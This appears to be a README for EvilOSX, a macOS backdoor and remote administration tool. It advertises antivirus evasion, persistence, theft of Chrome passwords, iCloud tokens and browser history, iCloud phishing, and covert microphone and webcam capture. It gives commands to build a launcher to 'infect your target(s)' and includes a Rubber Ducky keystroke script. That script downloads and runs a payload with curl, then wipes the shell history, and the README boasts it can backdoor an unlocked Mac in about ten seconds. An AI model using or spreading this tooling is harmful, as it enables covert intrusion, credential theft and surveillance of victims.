• Emulate a terminal instance
• Simple extendable module system
• No bot dependencies (pure python)
• Undetected by anti-virus (OpenSSL AES-256 encrypted payloads)
• Persistent
• GUI and CLI support
• Retrieve Chrome passwords
• Retrieve iCloud tokens and contacts
• Retrieve/monitor the clipboard
• Retrieve browser history (Chrome and Safari)
• Phish for iCloud passwords via iTunes
• iTunes (iOS) backup enumeration
• Record the microphone
• Take a desktop screenshot or picture using the webcam
• Attempt to get root via local privilege escalation

# Clone or download this repository
 $ git clone https://github.com/Marten4n6/EvilOSX
 
 # Install dependencies required by the server
 $ sudo pip3 install -r requirements.txt
 
 # Go into the repository
 $ cd EvilOSX
 
 # Start listening for connections
 $ python3 start.py
 
 # Lastly, run the built launcher (see the builder tab) on your target(s)

# Create a launcher to infect your target(s)
 $ python3 builder.py
 
 # Start listening for connections
 $ python3 start.py --cli --port 1337
 
 # Lastly, run the built launcher on your target(s)

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
 REM See also: https://ducktoolkit.com/vidpid/
 
 DELAY 1000
 GUI SPACE
 DELAY 500
 STRING Termina
 DELAY 1000
 ENTER
 DELAY 1500
 
 REM Kill all terminals after x seconds
 STRING screen -dm bash -c 'sleep 6; killall Terminal'
 ENTER
 
 STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
 ENTER

• It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
• Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
• To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here. Aluminum Keyboard (ISO) is probably the one you are looking for.